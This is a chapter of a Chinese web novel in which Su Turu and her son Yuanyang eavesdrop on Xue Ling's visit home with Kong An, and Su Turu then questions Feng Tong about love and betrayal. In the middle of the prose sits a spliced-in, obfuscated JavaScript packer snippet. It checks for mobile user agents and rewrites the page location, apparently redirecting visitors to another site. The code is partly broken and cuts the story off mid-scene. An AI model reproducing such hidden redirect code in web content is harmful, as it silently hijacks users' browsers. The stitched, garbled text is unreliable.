18. 镜中花(十三)
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楼听风本书字数:
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薛菱被带回孔家后,苏涂汝想再打听关于她的消息,就更难了。 只知孔安那个畜生没过多久就与薛菱成了婚,婚仪办的十分草率,孔家本是想请薛菱的父亲去观礼,但那负债累累的男人早已在南街村销声匿迹,只留下了老鸨在内的诸多情妇,其中没一个是薛菱的亲生母亲,孔家顾及颜面,也不想请这些女人,嫌丢人。 权衡之下,孔家还是捏着鼻子请了薛菱的祖父母过去观礼。 除了薛家二老,婚仪上有位于情于理都不该来的不速之客,正是那位老鸨,她大概也知道自己不请自来讨人嫌,放下礼物便离开,听来倒是有几分潇洒。 苏涂汝听到这消息的时候有一瞬纳闷她为何要这么做,莫不是真把自己当薛家的儿媳了吧。她对这个八竿子打不着的继女这么好,不会真是心善吧? 这事闹得沸沸扬扬的,村里的闲言碎语都说薛家卖了女儿给孔家。 薛家二老观礼回来后,面色十分憔悴,像是一夕之间老了十岁,眉目间是散不掉的忧愁,酆曈带着元阳上门拜访,二老都心不在焉,对于孙女的情况更是敏感、只要提及一点就闭口不谈,酆曈元阳用尽浑身解数,还是打探无果,只能铩羽而归。 苏涂汝听到这情况,暗暗猜测:薛菱的执念真的是孔安的负心吧。 婚仪之后,新人需要回门,这是个绝无仅有的打探机会。 上次是酆曈元阳去打探,这次轮到她,这很公平,苏涂汝婉拒了酆曈的客套,一代神女就这么不顾形象地扒上了薛家墙头,轻盈跃了下去,蹑手蹑脚找了个旮旯隐匿在水缸后,苏涂汝本就清瘦,被大缸挡了个严严实实。 从门外由远及近而来一阵脚步声,几个人客气地聊着天,薛家二老、薛菱,甚至还有孔安。 苏涂汝本以为孔家并不注重薛菱这个儿媳,没成想孔安竟陪着薛菱回门了,听着还挺谦逊有礼、主动跟薛黄找着话题,听上去倒真像一位不错的女婿。 但跟上天后的孔安相处那么久,苏涂汝能够听得出,什么是他伪装出的语气,就是当下。 男子的语气轻柔温润,十分具有欺骗性,苏涂汝就是这么被他蒙蔽了百年,直到在无间地狱之门处见到阿菱才知道这个神使的本来面目。 孔安:“岳父,听阿菱说您喜欢饮酒,我今日一早就去挖出了几坛,您可别嫌弃。” 薛黄:“不必如此客气,你好好对阿菱就行,我们就这一个乖孙女。老婆子,把树下那女儿红也挖出来吧。” 孔安:“我自会好好对阿菱,不必让岳母麻烦,今日先喝我带来的吧。” 薛菱:“爷爷奶奶.....身体可还好?” 薛家祖母:“我们都好,不必操心我们,倒是你,这几日如何?” 薛菱:“尚可,孔安很疼我.....是真的!爷爷奶奶别担心。” 一行人聊着进了屋,声音小了些,苏涂汝竖起耳朵细听,内心却有些懊悔没带元阳来,她判断不出薛菱的话是真是假。 这时,一个小脑袋从苏涂汝身后探了出来,压着声音说:“娘,是真话。” 苏涂汝一惊:“元阳?你怎么来了。” 元阳不大情愿地沉默片刻,老老实实说:“爹说你可能需要我,让我来寻你,我不信,耽误了会时间。” 说完,他又甚是不服气地嘟囔道:“还真让他猜对了,他怎么比我还了解娘。” 苏涂汝闻言,脸上漾起一抹笑意,抵上元阳的额头,赞道:“来得早不如来得巧,我们元阳啊,现在来刚刚好,真是及时雨。” 没有小孩子不喜欢听夸奖,元阳亦然,被哄得心花怒放,便也不去计较这事了,跟苏涂汝一起听着房内的动静。 听了一会儿,元阳跟苏涂汝传音:娘,孔安哥哥还真是十句里就一句真话啊。他之前在天上的时候都没这么过分! 苏涂汝:噢?他之前在天上有神力掩盖,我们元阳也能判断出来呀。 元阳:他的神力微薄,还不如我,我自然看得出,他当时十句话至少有七句都是真的,我还以为他是好人呢。 苏涂汝:男人就是擅长伪装,元阳长大后可不许成为这样的男人。 元阳点点头:我才不会呢,我至少要成为爹那样厉害的! 苏涂汝忍不住捏了捏元阳的脸,这榜样找得是不是不太好,酆曈再厉害,也算不上十分正派啊。 里面的人吃着饭喝着酒,暂时应当不会出来,苏涂汝腿都蹲麻了,也懒得嫌弃这地了,找了个木头垫着就和元阳并排坐下。 酒过三巡,薛黄和孔安两个男人讲话都有些大舌头,聊得逐渐漫无边际、让人不知所云,也没什么听下去的必要了。 苏涂汝正打算坐起,忽听薛黄问了句:“你这小子,是真的喜欢我孙女吗?” 她急忙静止,眼神示意元阳也仔细听。 孔安沉默了片刻,才答道:“是,我喜欢阿菱。” 薛菱:“孔安.....” 元阳冲着苏涂汝点点头,意思是:真话。 苏涂汝整个人都不太好了,只觉得自己之前的思路有大问题,不儿,孔安喜欢薛菱?! 她已经懒得管这几天他是怎么喜欢上薛菱的,当务之急是,既然喜欢,那他为什么最终还是害死薛菱了呢,是变心还是有了龃龉。 苏涂汝都想不明白的问题,年纪尚小的元阳就更不知道了,他一头雾水地被苏涂汝带着离开,回到家后便见娘利落地松开了他,直直朝着酆曈在的西屋而去。 元阳:???娘,我不是你最爱的小宝贝了吗??? 苏涂汝伸出手敲了敲门,酆曈懒懒应声:“直接进就行。” 看见是苏涂汝,酆曈眼眸眯起:“怎么是你?小鬼呢。” 他朝着苏涂汝身后看去,只见元阳皱着一张脸,苦大仇深地盯着他,好像有点.....生气? 酆曈也觉得莫名其妙:这小鬼生什么气? 他很快就知道了答案,因为苏涂汝走进来后竟主动关上了门,还不忘让元阳走远些。 酆曈似笑非笑地抬起白睫:“你是要跟我说什么小孩子不能听的事情吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876836|172720||http|test|mini|href|location.split(|),0,{})); () { $(.inform).remove(); $(#content).append( 苏涂汝总觉得这说法听着怪怪的,敷衍道:“算是吧。” 这下轮到酆曈震惊了:??? 苏涂汝:“你之前喜欢我吧?” 酆曈瞳孔一缩,指尖颤了颤。良久,他反问:“问这些陈芝麻烂谷子的事情做什么?” 苏涂汝坦然答道:“我有件关于感情的事情不确定,需要你帮我分析分析。” 纷乱跳动的心陡然一静,酆曈心里有些发苦,表情更加冷硬,几乎是挤出来一句回复:“是又如何?” 苏涂汝点点头,没有丝毫停顿继续问:“那如果放在之前,你在什么情况下会杀了我?” 酆曈抿着嘴,一言不发地盯着她,好像在控诉什么东西。 苏涂汝有些着急地催促:“你回答呀。” 酆曈看着她,眼神的焦点却好像落在了虚空,瞬息后,他漫不经心地一笑:“你别问我了,我和孔安不一样,没有参考性。” 说完,他就转过了脸,把苏涂汝晾在一边,再不给她一个眼神。 苏涂汝知道,这便是下了逐客令了,酆曈轴得很,她再呆下去估计也不会得到答案。 并且,苏涂汝敏锐感觉到,酆曈生气了,而且这气似乎不是冲她来的。 理智告诉苏涂汝应该退出去,但她太疑惑了,于是她不但没退出去,反而走到了酆曈咫尺的地方,她的阴影笼罩住酆曈,她看见酆曈的睫毛颤抖了一刹那。 苏涂汝:“酆曈,你看着我。” 酆曈依言转过头,漆黑如点墨的黑瞳眨也不眨地看着她。 苏涂汝:“你生什么气?我是有什么地方做的不对吗。” 酆曈:“我没气你。” 苏涂汝:“所以我问的是,你在气自己什么。” 酆曈自嘲一笑:“气自己不争气。” 苏涂汝:? 酆曈定定看着她:“我不会杀你,不论是之前,还是现在。” “哇,说得跟之前要掐死我的不是你一样。”苏涂汝毫不客气地回怼道,末了还不忘补充道:“男人的嘴,骗人的鬼,让元阳来也得说你说的是假的。” 被她这么一闹,氛围顿时变得有些难以言喻,既不凝重也不轻松、既不暧昧也不正经。 酆曈凉凉回道:“那你叫那小鬼进来,看看我说的是真是假。苏涂汝,你仔细想想,我真的伤到过你吗?” 苏涂汝正打算果断回击,突然福至心灵回想了一下,心里一咯噔:完了,好像真没有,他好像只对元阳表现出过真正的杀意。 意识到自己冤枉了酆曈后,苏涂汝十分拎得清,清了清嗓子:“对不起。” 酆曈被她这声对不起整的脑瓜子嗡嗡的,一口气不上不下地噎在那里。 好真诚,好坦然,好难说。酆曈扶额,感觉到深深的力不从心,只能摆摆手说不必。 但苏涂汝依旧不忘初心,契而不舍地追问:“那你假设一下,什么情况下你会杀妻证道?” 酆曈做了百年的鬼王,此刻是前所未有的无助:心上人非让他假装渣男杀妻证道该如何?